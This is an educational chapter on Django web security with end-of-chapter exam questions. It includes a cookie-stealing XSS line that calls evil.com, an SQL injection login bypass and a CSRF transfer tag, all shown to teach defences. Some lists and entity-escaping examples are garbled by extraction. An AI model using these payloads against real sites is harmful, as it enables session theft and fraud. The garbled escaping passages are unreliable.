
Web application security is the practice of protecting websites and web applications from unauthorised access, data breaches, and malicious attacks. As web applications handle sensitive user data, financial transactions, and critical business operations, security is a fundamental requirement rather than an optional feature. Security vulnerabilities can lead to data theft, financial losses, reputation damage, legal consequences, and loss of user trust. Understanding common vulnerabilities and implementing security best practices is essential for every web developer.
Web applications face numerous security threats. The three most common and dangerous vulnerabilities are Cross-Site Scripting (XSS), SQL Injection, and Cross-Site Request Forgery (CSRF). These vulnerabilities have been consistently listed in the OWASP (Open Web Application Security Project) Top 10 security risks for many years.
Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When a user visits an infected page, the malicious script executes in their browser with the same privileges as legitimate scripts from the trusted website. The term "Cross-Site" refers to the ability of the attack to cross the boundaries between websites. Browsers cannot distinguish between legitimate scripts and injected ones; when a browser receives HTML content containing JavaScript, it executes all scripts without questioning their origin.
The attack typically follows this pattern: the attacker identifies a vulnerability where user input is displayed without proper sanitisation; the attacker crafts a malicious payload containing JavaScript code; the payload is delivered to victims through URLs, forms, or stored content; the victim's browser executes the malicious script; and the script can steal cookies, modify page content, redirect users, or perform actions on behalf of the user.
Types of XSS attacks
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>, every user viewing that comment would have their session cookies stolen.innerHTML or document.write).Impact of XSS attacks
XSS attacks can have severe consequences: session hijacking (stealing session cookies to impersonate victims), credential theft (injecting fake login forms), keylogging (capturing all keystrokes on the page), phishing (modifying page content to display false information), malware distribution (redirecting users to malicious websites), website defacement, and extraction of sensitive information displayed on the page.
Django's built-in XSS protection
Django provides automatic protection against XSS through its template engine. By default, Django's template system automatically escapes HTML special characters in variables: < becomes <, > becomes >, ' becomes ', " becomes ", and & becomes &.
# views.py from django.shortcuts import render def display_comment(request): # Imagine this comment came from user input or database user_comment = "<script>alert('XSS Attack!')</script>" return render(request, 'comment.html', {'comment': user_comment})
<!-- comment.html --> <!-- SAFE: Django auto-escapes by default --> <p>Comment: {{ comment }}</p> <!-- Renders as: <p>Comment: <script>alert('XSS Attack!')</script></p> --> <!-- DANGEROUS: Never use |safe with untrusted data --> <p>Comment: {{ comment|safe }}</p> <!-- Would execute the JavaScript! -->
Listing 5.1: Safe versus unsafe rendering in Django templates. The default auto-escaping neutralises injected scripts; the |safe filter bypasses this protection and should never be applied to untrusted data.
SQL Injection is a code injection technique that exploits vulnerabilities in applications that construct SQL queries using user input. It allows attackers to interfere with the queries that an application makes to its database. Despite being well-understood, SQL Injection continues to affect applications due to improper coding practices.
How SQL Injection works
SQL Injection occurs when user-supplied data is included in SQL queries without proper validation or escaping. The attacker provides input that changes the structure and meaning of the SQL statement. Consider a simple login query:
SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input'
If an attacker enters admin' -- as the username, the query becomes:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'password_input'
The -- is a SQL comment that ignores everything after it. The query now only checks for the username "admin" and completely bypasses the password check.
Listing 5.2: SQL Injection attack via comment injection. The attacker-supplied -- turns the password check into a comment, granting unauthorised access.
Types of SQL Injection
UNION operator to combine results from injected queries with legitimate ones).Impact of SQL Injection
SQL Injection can lead to unauthorised data access (reading sensitive data), data modification (inserting, updating, or deleting records), data deletion (dropping entire tables or databases), authentication bypass (circumventing login mechanisms), privilege escalation (gaining administrative database rights), remote code execution (on some database servers), and complete system compromise (database servers often have access to internal networks).
Django's protection against SQL Injection
Django's ORM (Object-Relational Mapper) provides strong protection against SQL Injection by automatically escaping and safely parameterising user input.
# views.py from django.shortcuts import render from .models import User def search_user(request): username = request.GET.get('username', '') # SAFE: Using Django ORM (parameterized query) users = User.objects.filter(username=username) return render(request, 'results.html', {'users': users})
Listing 5.3: Safe query using Django's ORM, which generates parameterised SQL internally.
Django translates the ORM query to a parameterised SQL query, ensuring that user input cannot alter the query structure. Raw SQL queries with string concatenation must never be used:
# DANGEROUS - Never do this! query = f"SELECT * FROM users WHERE username = '{username}'" # SAFE - If raw SQL is necessary, use parameterized queries from django.db import connection with connection.cursor() as cursor: cursor.execute("SELECT * FROM users WHERE username = %s", [username])
Listing 5.4: Dangerous string-concatenated query versus safe parameterised query. Django uses %s as the placeholder and translates it to the correct format for each database driver ($1 for PostgreSQL, ? for MySQL).
Under the hood, when Django ORM executes User.objects.filter(username=username), it generates a prepared statement similar to SELECT * FROM users WHERE username = %s and passes the value separately to the database driver, preventing injected SQL from being interpreted as code.
Cross-Site Request Forgery (CSRF), also known as "session riding" or "one-click attack," is an attack that forces authenticated users to submit unwanted requests to a web application. Unlike XSS, which exploits the trust a user has in a website, CSRF exploits the trust that a website has in a user's browser. CSRF attacks target state-changing requests (such as transferring funds or changing passwords) rather than data theft, since the attacker cannot see the response.
How CSRF works
When a user logs into a website, the browser stores authentication cookies that are automatically sent with every request to that website—including requests initiated by other websites. A CSRF attack proceeds as follows: the victim is authenticated on the target website (e.g., their bank); the victim visits a malicious website while still logged in; the malicious website contains code that makes a request to the target website; the browser automatically includes the victim's authentication cookies; and the target website processes the request as if it came from the legitimate user.
For example, a malicious website might contain:
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
When the victim loads this page, the browser attempts to load the "image" and makes a GET request to the bank with the victim's cookies.
Listing 5.5: A CSRF attack using an image tag. The browser's automatic cookie inclusion causes the transfer request to appear legitimate.
CSRF attacks are particularly dangerous because of silent execution (the attack happens without the user's knowledge), legitimate credentials (the request uses the victim's actual authentication), difficult detection (requests appear to come from legitimate users), wide attack surface (any state-changing action is potentially vulnerable), and no required user interaction beyond loading a page.
Common CSRF attack scenarios include form-based attacks (hidden forms on malicious websites that auto-submit), image tag attacks (using image tags to make GET requests), AJAX attacks (using JavaScript to send cross-origin requests, limited by CORS), and clickjacking (hiding malicious actions behind legitimate-looking elements).
Django's CSRF protection
Django provides built-in CSRF protection that is enabled by default, using a token-based approach. When rendering a form, Django generates a unique CSRF token; this token is included in the form as a hidden field; when the form is submitted, Django verifies the token; if the token is missing or invalid, the request is rejected. Since the attacker cannot access the CSRF token (due to the same-origin policy), they cannot forge valid requests.
# views.py from django.shortcuts import render, redirect def transfer_money(request): if request.method == 'POST': # The request already passed CSRF validation (Django handles this) recipient = request.POST.get('recipient') amount = request.POST.get('amount') # Process the transfer... return redirect('success') return render(request, 'transfer.html')
<!-- transfer.html --> <form method="POST"> {% csrf_token %} <!-- This adds the hidden CSRF token field --> <input type="text" name="recipient" placeholder="Recipient" /> <input type="number" name="amount" placeholder="Amount" /> <button type="submit">Transfer</button> </form>
Listing 5.6: CSRF protection in Django. The {% csrf_token %} template tag generates a hidden input field containing the token, which Django verifies on submission.
Implementing security is not about adding a single feature but about adopting a security-first mindset throughout the development process. This section covers essential security practices that every web developer should follow.
Input validation is the process of ensuring that user-supplied data meets expected criteria before processing it. It acts as the first line of defence against malicious input. The principle is simple: never trust user input. Every piece of data that enters the application from external sources—form submissions, URL parameters, HTTP headers, cookies, file uploads, API requests, and data from third-party services—is potentially dangerous.
Validation approaches
<script> might be bypassed with <SCRIPT> or <scr<script>ipt>.Validation rules
Effective input validation should check data type (is the input the expected type?), length (within acceptable limits?), format (matches the expected pattern?), range (for numbers, within acceptable bounds?), character set (only allowed characters?), and business logic (does the input make sense in context?).
Client-side versus server-side validation
Client-side validation occurs in the user's browser before data is sent to the server. It provides immediate feedback and reduces unnecessary server requests, but is easily bypassed (by disabling JavaScript, modifying code, or sending requests directly to the server). Client-side validation should only be used for user experience, never for security. Server-side validation is mandatory for security. All data must be validated on the server, regardless of any client-side validation.
# forms.py from django import forms class ContactForm(forms.Form): name = forms.CharField(max_length=100) email = forms.EmailField() age = forms.IntegerField(min_value=1, max_value=120) message = forms.CharField(max_length=1000)
# views.py from django.shortcuts import render from .forms import ContactForm def contact(request): if request.method == 'POST': form = ContactForm(request.POST) if form.is_valid(): # Data is validated and safe to use name = form.cleaned_data['name'] email = form.cleaned_data['email'] # Process the data... return render(request, 'success.html') else: form = ContactForm() return render(request, 'contact.html', {'form': form})
Listing 5.7: Django form validation. The form class defines validation constraints; is_valid() checks all rules; cleaned_data provides the validated, safe values.
Input sanitisation is the process of cleaning or transforming user input to remove or neutralise potentially harmful content. While validation accepts or rejects input, sanitisation modifies it to make it safe. Sanitisation is appropriate when accepting rich content (like HTML) from users, when complete rejection is not practical, or when cleaning data before storage or display. Sanitisation should complement validation, not replace it.
Sanitisation techniques
< → <, > → >, & → &, " → ", ' → '). This prevents HTML tags from being interpreted as markup.%20).HTTPS (Hypertext Transfer Protocol Secure) is the secure version of HTTP, using encryption to protect communication between the user's browser and the web server. HTTPS uses TLS (Transport Layer Security), the successor to SSL (Secure Sockets Layer), as the current encryption standard.
Security properties of HTTPS
HTTPS provides three key security properties. Encryption ensures all data transmitted between the browser and server is encrypted; even if an attacker intercepts the traffic, they cannot read the content. Data integrity ensures that data cannot be modified during transmission without detection; any tampering is detected, preventing man-in-the-middle attacks. Authentication verifies that the server is who it claims to be through digital certificates issued by trusted Certificate Authorities (CAs), preventing attackers from impersonating legitimate websites.
The HTTPS handshake process
When a browser connects to an HTTPS website:
(1) the browser sends supported encryption methods to the server (Client Hello)
(2) the server responds with the chosen encryption method and its certificate (Server Hello)
(3) the browser verifies the certificate with the CA
(4) a shared secret key is established using asymmetric encryption (Key Exchange)
(5) all subsequent data is encrypted with the shared key.
Why HTTPS is essential
HTTPS protects against eavesdropping on public WiFi and compromised networks, prevents man-in-the-middle attacks, provides SEO benefits (Google uses HTTPS as a ranking signal), displays browser trust indicators (padlock icons), is required for modern web features (service workers, geolocation, camera/microphone access, HTTP/2), and is mandatory for legal and regulatory compliance (GDPR, PCI-DSS).
Implementing HTTPS
Certificates can be obtained from Let's Encrypt (free, automated), commercial CAs (paid, with additional features), or cloud providers (managed certificates from AWS, Azure, GCP).
# settings.py # Redirect all HTTP requests to HTTPS SECURE_SSL_REDIRECT = True # Ensure cookies are only sent over HTTPS SESSION_COOKIE_SECURE = True CSRF_COOKIE_SECURE = True # Enable HSTS (HTTP Strict Transport Security) SECURE_HSTS_SECONDS = 31536000 # 1 year SECURE_HSTS_INCLUDE_SUBDOMAINS = True SECURE_HSTS_PRELOAD = True
Listing 5.8: Django HTTPS configuration. SECURE_SSL_REDIRECT forces HTTPS; HSTS tells browsers to only communicate via HTTPS, preventing SSL stripping attacks and eliminating insecure redirects.
Cookies are small pieces of data stored by the browser and sent with every request to the website that created them. They are essential for maintaining user sessions, remembering preferences, and tracking behaviour. Because cookies often contain sensitive information (such as session identifiers), securing them is crucial.
Cookie security attributes
document.cookie. Cookies with this flag cannot be read or modified by JavaScript but are still sent with HTTP requests automatically.Strict sends cookies only with same-site requests; Lax (the default in modern browsers) sends cookies with same-site requests and top-level navigations from external sites; None sends cookies with all requests but requires the Secure flag.# settings.py # Session cookie settings SESSION_COOKIE_SECURE = True # Only send over HTTPS SESSION_COOKIE_HTTPONLY = True # Not accessible to JavaScript SESSION_COOKIE_SAMESITE = 'Lax' # CSRF protection SESSION_COOKIE_AGE = 1209600 # 2 weeks in seconds # CSRF cookie settings CSRF_COOKIE_SECURE = True # Only send over HTTPS CSRF_COOKIE_HTTPONLY = True # Not accessible to JavaScript CSRF_COOKIE_SAMESITE = 'Lax' # CSRF protection
Listing 5.9: Django secure cookie configuration.
Session security best practices include regenerating the session ID after login (to prevent session fixation attacks), setting appropriate session timeout values, implementing session invalidation on logout, and considering server-side session storage (database or cache) rather than cookies.
Environment variables are key-value pairs that exist in the operating system's environment, used to configure applications without hardcoding values in source code. For web applications, they are essential for managing configuration that varies between environments and for storing sensitive information.
Why environment variables are important
Sensitive information like API keys, database passwords, and secret keys should never be stored in source code, which is often stored in version control, shared among team members, and uploaded to code hosting platforms. Environment variables keep secrets out of the codebase. They enable environment separation (development, staging, and production can use different configurations with the same code), portability (applications deploy to different servers without code changes), and align with the Twelve-Factor App methodology, a widely accepted best practice for modern web applications.
What should be stored in environment variables: secret keys (Django's SECRET_KEY, encryption keys), database credentials, API keys, debug flags, allowed hosts, email configuration, cloud service credentials, and feature flags.
# .env file (add to .gitignore!) DJANGO_SECRET_KEY=your-secret-key-here DJANGO_DEBUG=True DB_NAME=mydb DB_USER=myuser DB_PASSWORD=mypassword DB_HOST=localhost ALLOWED_HOSTS=localhost,127.0.0.1
# settings.py from dotenv import load_dotenv import os # Load environment variables from .env file load_dotenv() SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY') DEBUG = os.environ.get('DJANGO_DEBUG', 'False') == 'True' # ... rest of settings
Listing 5.10: Using environment variables with python-dotenv in Django. The .env file must be added to .gitignore and never committed to version control.
Authentication is the process of verifying the identity of a user, device, or system. It answers the question: "Who are you?" In web applications, authentication is the foundation of security, determining who can access the system and what actions they can perform.
Authentication versus authorisation
Authentication (AuthN) verifies identity—confirming that users are who they claim to be. Common authentication factors include something you know (passwords, PINs, security questions), something you have (security tokens, smartphones, smart cards), and something you are (fingerprints, facial recognition, retina scans). Authorisation (AuthZ) determines access—after authentication, it decides what the authenticated user is permitted to do. The flow proceeds as: user provides credentials → system verifies credentials (authentication) → user is granted an identity → system checks permissions for requested actions (authorisation) → access is granted or denied.
Passwords are the most common form of authentication. Users trust that their passwords are protected. If passwords are compromised, attackers can access user accounts, steal personal information, perform unauthorised transactions, and access other services if passwords are reused. Password breaches have affected billions of accounts, making proper password handling a fundamental responsibility of every developer.
Never store passwords in plain text
Storing passwords in plain text is one of the most dangerous security mistakes. If the database is compromised, all passwords are immediately exposed. Database breaches expose all passwords instantly; database administrators can see all passwords; backup files contain readable passwords; and log files might accidentally capture passwords. The rule is: never store passwords in a recoverable form.
Password hashing
Password hashing is a one-way cryptographic function that transforms a password into a fixed-length string. Its key properties are: one-way function (irreversible—given a hash, it is computationally infeasible to recover the original password, unlike encryption which is designed to be reversible); deterministic (the same input always produces the same output, enabling verification by comparing hashes); collision resistance (extremely difficult to find two different inputs that produce the same hash); and avalanche effect (a small change in input produces a drastically different hash—"password1" and "password2" yield completely different hashes).
Why simple hashing is not enough
Basic hash functions like MD5 or SHA-1 are unsuitable for password hashing. Their speed is a vulnerability: modern GPUs can compute billions of MD5 hashes per second, enabling rapid brute-force attacks. Rainbow table attacks use precomputed hashes for common passwords; if attackers obtain a hash, they simply look it up. Additionally, identical passwords produce identical hashes, revealing this information to attackers.
Salting
A salt is a random value added to the password before hashing. Each user has a unique salt stored alongside their password hash. The process is: generate a random salt → combine the salt with the password → hash the combined value → store both the salt and the hash. Salting renders rainbow tables useless (separate tables would be needed for each salt), ensures identical passwords produce different hashes, and increases the computational cost of attacks.
Modern password hashing algorithms
Modern password hashing algorithms are specifically designed to be slow and memory-intensive, making brute-force attacks impractical:
Table 5.1: Modern password hashing algorithms.
| Algorithm | Description |
|---|---|
| bcrypt | Designed in 1999; incorporates a salt automatically and has a configurable work factor (cost) that can be increased as hardware improves |
| Argon2 | Winner of the Password Hashing Competition (2015); resists both GPU-based and side-channel attacks; three variants: Argon2d (GPU resistance), Argon2i (side-channel resistance), Argon2id (hybrid, recommended) |
| PBKDF2 | Applies a hash function many times with a salt; Django uses PBKDF2 with SHA256 by default |
| scrypt | Designed to be memory-hard, making hardware-based attacks expensive |
Django's password handling
Django provides robust password hashing out of the box, using PBKDF2 with SHA256 and a configurable number of iterations by default.
# Django handles password hashing automatically when using User model from django.contrib.auth.models import User # Creating a user - password is automatically hashed user = User.objects.create_user( username='john', email='[email protected]', password='secretpassword' # This gets hashed automatically ) # Verifying a password if user.check_password('secretpassword'): print("Password is correct")
Listing 5.11: Django's automatic password hashing. Passwords are stored in the format algorithm$iterations$salt$hash (e.g., pbkdf2_sha256$390000$randomsalt$hashedvalue).
Password policies and best practices
Require passwords of at least 8–12 characters (longer passwords are exponentially harder to crack). Consider requiring a mix of uppercase and lowercase letters, numbers, and special characters, though overly complex requirements can lead to predictable patterns. Reject commonly used passwords (Django includes a built-in validator). Avoid password hints (they often reveal too much information). Implement account lockout after multiple failed attempts (but avoid permanent lockouts, which can be abused for denial of service). Secure password reset mechanisms must use time-limited tokens, send reset links via verified email, invalidate tokens after use, and not reveal whether an email exists in the system.
A session is a period of interaction between a user and a web application. Since HTTP is stateless (each request is independent), sessions provide a mechanism to maintain state across multiple requests. Session-based authentication works as follows: the user submits login credentials; the server verifies credentials and creates a session; the server sends a session ID to the browser (usually in a cookie); the browser includes the session ID in subsequent requests; and the server uses the session ID to identify the user.
Session creation and storage
When a user logs in successfully, the server generates a unique, unpredictable session ID, creates a session record, stores user information in the session, and sends the session ID to the browser. Session data can be stored in various locations: server memory (fast but limited, lost on restart, does not work with multiple servers), database (persistent and scalable, slightly slower), cache such as Redis or Memcached (fast and scalable, good for distributed systems), or files (simple but slow, unsuitable for high-traffic sites).
Session security concerns
Session management best practices: use HTTPS for all authenticated sessions; set secure cookie attributes (Secure, HttpOnly, SameSite); regenerate the session ID after login; implement session timeout (idle and absolute); provide logout functionality that destroys the session; and consider binding sessions to IP address or user agent (with caution).
# settings.py # Session engine options SESSION_ENGINE = 'django.contrib.sessions.backends.db' # Database (default) # SESSION_ENGINE = 'django.contrib.sessions.backends.cache' # Cache # SESSION_ENGINE = 'django.contrib.sessions.backends.cached_db' # Cache + DB # Session cookie settings SESSION_COOKIE_AGE = 1209600 # 2 weeks in seconds SESSION_COOKIE_SECURE = True # HTTPS only SESSION_COOKIE_HTTPONLY = True # No JavaScript access SESSION_COOKIE_SAMESITE = 'Lax' # CSRF protection # Session expiry SESSION_EXPIRE_AT_BROWSER_CLOSE = False # Persistent sessions SESSION_SAVE_EVERY_REQUEST = True # Update session on each request
Listing 5.12: Django session configuration.
Session-based authentication works well for traditional web applications but has limitations. Sessions require server-side storage, creating scalability challenges in distributed systems where session data must be shared across servers. Cookies are domain-specific, so sessions do not work well for APIs serving multiple domains or mobile applications. RESTful APIs should be stateless, but session-based authentication introduces state on the server. Token-based authentication addresses these issues by storing authentication information in the token itself.
How token-based authentication works
The user submits login credentials; the server verifies credentials; the server generates a token containing user information; the token is sent to the client; the client stores the token (in localStorage, sessionStorage, or memory); the client includes the token in the Authorization header of subsequent requests; and the server validates the token and extracts user information.
Advantages of token-based authentication
Token-based authentication is stateless (the server does not need to store session data; all necessary information is in the token, making horizontal scaling straightforward), cross-domain friendly (tokens can be sent to any domain, suitable for microservices architectures and single-page applications), mobile-friendly (tokens work well with mobile applications that lack cookie support), and decoupled (the authentication server can be separate from the application server, enabling Single Sign-On implementations).
JSON Web Token (JWT, pronounced "jot") is an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. JWTs are self-contained tokens that include all necessary information about the user, eliminating the need for database lookups during request validation.
JWT structure
A JWT consists of three parts separated by dots: header.payload.signature.
The header typically contains the signing algorithm (alg, e.g., HS256, RS256) and the token type (typ, JWT), Base64Url-encoded to form the first part:
{ "alg": "HS256", "typ": "JWT" }
The payload contains claims—statements about the user and additional metadata. Registered claims include iss (issuer), sub (subject, usually user ID), aud (audience), exp (expiration as Unix timestamp), nbf (not before), iat (issued at), and jti (unique token ID). Public claims are custom claims agreed upon by parties; private claims are application-specific.
{ "sub": "1234567890", "name": "John Doe", "admin": true, "iat": 1516239022, "exp": 1516242622 }
The signature ensures the token has not been tampered with. It is created by encoding the header, encoding the payload, combining them with a dot, and signing with the specified algorithm:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret);
If anyone modifies the header or payload, signature verification will fail.
Listing 5.13: JWT structure. The header specifies the algorithm, the payload carries claims, and the signature provides integrity verification.
JWT signing algorithms
JWT authentication flow
The client sends credentials to the authentication endpoint; the server validates credentials; the server creates a JWT with user claims and signs it; the server returns the JWT; the client stores the token; the client includes the token in the Authorization header (Bearer <token>); the server verifies the signature and checks claims; and the server processes the request if the token is valid.
JWT security considerations
exp claim). Short-lived tokens are more secure: access tokens typically last 15 minutes to 1 hour; refresh tokens last days to weeks.Table 5.2: JWT storage options.
| Storage | XSS Vulnerable | CSRF Vulnerable | Notes |
|---|---|---|---|
| localStorage | Yes | No | Persistent, accessible to JavaScript |
| sessionStorage | Yes | No | Cleared when tab closes |
| Memory | Yes | No | Most secure, cleared on refresh |
| HttpOnly Cookie | No | Yes | Requires CSRF protection |
JWT in Django (using djangorestframework-simplejwt)
# settings.py INSTALLED_APPS = [ # ... 'rest_framework', 'rest_framework_simplejwt', ] REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework_simplejwt.authentication.JWTAuthentication', ), } from datetime import timedelta SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=30), 'REFRESH_TOKEN_LIFETIME': timedelta(days=7), 'ROTATE_REFRESH_TOKENS': True, # New refresh token on each use 'ALGORITHM': 'HS256', }
# urls.py from rest_framework_simplejwt.views import ( TokenObtainPairView, TokenRefreshView, ) urlpatterns = [ path('api/token/', TokenObtainPairView.as_view(), name='token_obtain_pair'), path('api/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'), ]
Listing 5.14: JWT configuration in Django using djangorestframework-simplejwt.
If access tokens have long expiration times, stolen tokens remain valid for an extended period, increasing security risk. If access tokens have short expiration times, users must log in frequently, degrading user experience. Refresh tokens solve this dilemma.
How refresh tokens work
The access token is short-lived (minutes) and used for API requests. The refresh token is long-lived (days or weeks) and used only to obtain new access tokens. The flow proceeds as: the user logs in and receives both tokens; the user makes API requests with the access token; the access token expires; the client uses the refresh token to obtain a new access token; and if the refresh token is also expired, the user must log in again.
Refresh token security
Refresh tokens are high-value targets. Security measures include storing refresh tokens securely (HttpOnly cookies if possible), implementing refresh token rotation (issuing a new refresh token on each use), maintaining a list of valid refresh tokens, detecting and preventing refresh token reuse (a potential theft indicator), and allowing users to revoke all refresh tokens (logout from all devices).
Modern full-stack applications often involve frontend and backend running on different origins. This architecture introduces security considerations around cross-origin communication and session management.
The Same-Origin Policy is a fundamental browser security mechanism that restricts how documents or scripts from one origin can interact with resources from another origin. Two URLs have the same origin if they share the same protocol, host, and port.
Table 5.3: Same-origin examples.
| URL A | URL B | Same Origin? | Reason |
|---|---|---|---|
| http://example.com/a | http://example.com/b | Yes | Same protocol, host, port |
| http://example.com | https://example.com | No | Different protocol |
| http://example.com | http://api.example.com | No | Different host |
| http://example.com | http://example.com:8080 | No | Different port |
Why SOP exists
SOP prevents malicious websites from accessing sensitive data on other websites. Without SOP, a malicious site could read email from Gmail, scripts could access banking sessions, and private data could be stolen from any site the user is logged into.
SOP restrictions and allowances
SOP restricts AJAX/Fetch requests to different origins, reading cookies from different origins, accessing the DOM of different-origin iframes, and reading responses from different-origin images in canvas. SOP allows loading images, scripts, and CSS from different origins (CDNs), embedding iframes (but not accessing their content), and form submissions to different origins.
Cross-Origin Resource Sharing (CORS) is a mechanism that allows servers to specify who can access their resources from different origins. It is a controlled relaxation of the Same-Origin Policy, using HTTP headers to tell browsers which cross-origin requests are permitted. Modern applications frequently need cross-origin communication: frontend on https://app.example.com calling an API on https://api.example.com, single-page applications calling backend APIs, microservices architectures, and third-party API integrations.
How CORS works
Simple requests (GET, HEAD, or POST with standard headers and content types) do not trigger a preflight check: the browser adds an Origin header, the server includes CORS headers in the response, and the browser checks whether the response allows the origin. Preflight requests are sent for requests that do not meet "simple" criteria (methods other than GET/HEAD/POST, custom headers, non-standard content types, or requests with credentials). The browser sends an OPTIONS request asking what is allowed; the server responds with allowed methods, headers, and origins; and the browser proceeds or blocks accordingly.
CORS headers
Table 5.4: CORS response headers.
| Header | Description |
|---|---|
Access-Control-Allow-Origin | Specifies which origins are allowed (* or specific origin) |
Access-Control-Allow-Methods | Allowed HTTP methods for the request |
Access-Control-Allow-Headers | Allowed headers in the actual request |
Access-Control-Allow-Credentials | Whether cookies/auth can be included |
Access-Control-Expose-Headers | Headers that JavaScript can access |
Access-Control-Max-Age | How long preflight results can be cached |
Table 5.5: CORS request headers.
| Header | Description |
|---|---|
Origin | The origin making the request |
Access-Control-Request-Method | Method for the actual request (preflight) |
Access-Control-Request-Headers | Headers for the actual request (preflight) |
When requests include credentials (cookies, HTTP authentication): Access-Control-Allow-Origin cannot be * and must be a specific origin; Access-Control-Allow-Credentials must be true; and the client must set credentials: 'include' (fetch) or withCredentials: true (XHR).
CORS configuration in Django
# settings.py # Install: pip install django-cors-headers INSTALLED_APPS = [ # ... 'corsheaders', ] MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', # Should be placed before CommonMiddleware 'django.middleware.common.CommonMiddleware', # ... ] # Option 1: Allow specific origins CORS_ALLOWED_ORIGINS = [ 'https://app.example.com', 'https://admin.example.com', ]
Listing 5.15: CORS configuration in Django using django-cors-headers.
CORS best practices: never use wildcard (*) with credentials (browsers do not allow this); whitelist specific origins in production; validate the Origin header if dynamically setting CORS headers; limit exposed headers to only those the frontend needs; set an appropriate Max-Age balancing reduced preflight requests with security updates; and do not rely solely on CORS, since it is a browser mechanism and does not protect against non-browser clients.
CORS misconceptions
CORS is not server-side protection—it is enforced by browsers; non-browser clients (curl, Postman, server-to-server requests) can make any request regardless of CORS. CORS does not prevent requests—the request still reaches the server and any server-side effects (such as database changes) still occur; CORS only prevents browsers from reading the response. CORS is not authentication—it determines which origins can read responses, not who is authenticated.
Session security goes beyond setting cookie flags. Session hardening involves multiple layers of protection.
Session ID security
Session IDs must be generated using cryptographically secure random number generators; predictable session IDs can be guessed by attackers. Django uses the secrets module for this purpose. Session IDs should be at least 128 bits long to prevent brute-force guessing (Django's default is sufficiently long). Session IDs should never appear in URLs because URLs are logged in server logs, appear in browser history, can be leaked through Referer headers, and can be shared accidentally.
Session lifecycle management
After a user logs in, the session ID should be regenerated to prevent session fixation attacks. Django's login() function does this automatically:
# views.py from django.contrib.auth import login from django.contrib.auth.forms import AuthenticationForm def login_view(request): if request.method == 'POST': form = AuthenticationForm(request, data=request.POST) if form.is_valid(): user = form.get_user() login(request, user) # Django regenerates session ID automatically return redirect('home') return render(request, 'login.html', {'form': form})
Listing 5.16: Django login view with automatic session ID regeneration.
Both idle timeout (session expires after inactivity) and absolute timeout (session expires after a maximum duration regardless of activity) should be implemented:
# settings.py # Idle timeout: Update session expiry on each request SESSION_SAVE_EVERY_REQUEST = True # Session age (can serve as absolute timeout if not updating) SESSION_COOKIE_AGE = 86400 # 24 hours # Expire session when browser closes SESSION_EXPIRE_AT_BROWSER_CLOSE = True # Optional
Listing 5.17: Django session timeout configuration.
When users log out, the session must be completely invalidated on the server—not just the client cookie cleared:
# views.py from django.contrib.auth import logout def logout_view(request): logout(request) # Clears session data and regenerates session key return redirect('home')
Listing 5.18: Django logout view with complete session invalidation.
Users should also be able to invalidate all active sessions, especially after password changes or suspected account compromise.
Session binding
Sessions can be bound to additional factors for added security. IP address binding invalidates the session or requires re-authentication if the IP changes, though users behind proxies may share IPs and mobile users change IPs frequently. User agent binding tracks the browser's User-Agent string; changes may indicate session theft, though user agents can be spoofed and browser updates may change them. Both should be used as supplementary factors, not sole protections.
Modern browsers support several security headers that help protect against common attacks. Properly configured headers add an extra layer of defence.
Content-Security-Policy (CSP)
Content Security Policy controls which resources the browser can load and execute. The server sends a header specifying allowed sources for various resource types, and the browser enforces these restrictions. CSP is one of the most powerful defences against XSS.
Table 5.6: Common CSP directives.
| Directive | Purpose |
|---|---|
default-src | Default fallback for all resource types |
script-src | Allowed sources for JavaScript |
style-src | Allowed sources for CSS |
img-src | Allowed sources for images |
connect-src | Allowed sources for AJAX/WebSocket |
font-src | Allowed sources for fonts |
frame-src | Allowed sources for iframes |
form-action | Allowed targets for form submissions |
# settings.py (using django-csp package) # Install: pip install django-csp CSP_DEFAULT_SRC = ("'self'",) CSP_SCRIPT_SRC = ("'self'", 'https://cdn.example.com') CSP_STYLE_SRC = ("'self'", "'unsafe-inline'") CSP_IMG_SRC = ("'self'", 'data:', 'https:')
Listing 5.19: CSP configuration in Django using the django-csp package.
X-Frame-Options
This header prevents a page from being embedded in iframes on other sites, protecting against clickjacking attacks. Values include DENY (page cannot be displayed in any frame) and SAMEORIGIN (page can only be framed by same-origin pages).
# settings.py X_FRAME_OPTIONS = 'DENY' # Django default is DENY
X-Content-Type-Options
This header prevents browsers from MIME-type sniffing, which can lead to security vulnerabilities.
# settings.py SECURE_CONTENT_TYPE_NOSNIFF = True # Adds header: X-Content-Type-Options: nosniff
Referrer-Policy
Controls how much referrer information is included with requests.
Table 5.7: Referrer-Policy values.
| Value | Behaviour |
|---|---|
no-referrer | No referrer information sent |
same-origin | Referrer sent only for same-origin requests |
strict-origin | Only origin (no path) for cross-origin |
strict-origin-when-cross-origin | Full URL for same-origin, origin only for cross-origin (recommended) |
# settings.py SECURE_REFERRER_POLICY = 'strict-origin-when-cross-origin'
Permissions-Policy (formerly Feature-Policy)
Controls which browser features can be used on the page:
Permissions-Policy: geolocation=(), camera=(), microphone=()
This disables geolocation, camera, and microphone access for the page.
Define Cross-Site Scripting (XSS). Differentiate between Stored XSS and Reflected XSS. Explain four potential impacts of XSS attacks on web applications. [2+2+4]
What is SQL Injection? Explain how SQL Injection attacks work with an example. Describe four preventive measures against SQL Injection in web applications. [2+2+4]
Define Cross-Site Request Forgery (CSRF). Explain how CSRF attacks exploit user sessions. Describe how Django's CSRF protection mechanism works with a code example. [2+3+3]
What is input validation? Differentiate between whitelist (allowlist) and blacklist (denylist) validation approaches. Explain why server-side validation is mandatory even when client-side validation is implemented. [2+3+3]
Define input sanitization. Explain the difference between input validation and input sanitization. Describe HTML encoding and its role in preventing XSS attacks. [2+3+3]
What is HTTPS? Explain the three key security properties provided by HTTPS (encryption, data integrity, and authentication). Describe how to configure Django to enforce HTTPS. [2+4+2]
Explain the purpose of the following cookie security attributes: Secure, HttpOnly, and SameSite. Write the Django settings to configure secure session cookies. [6+2]
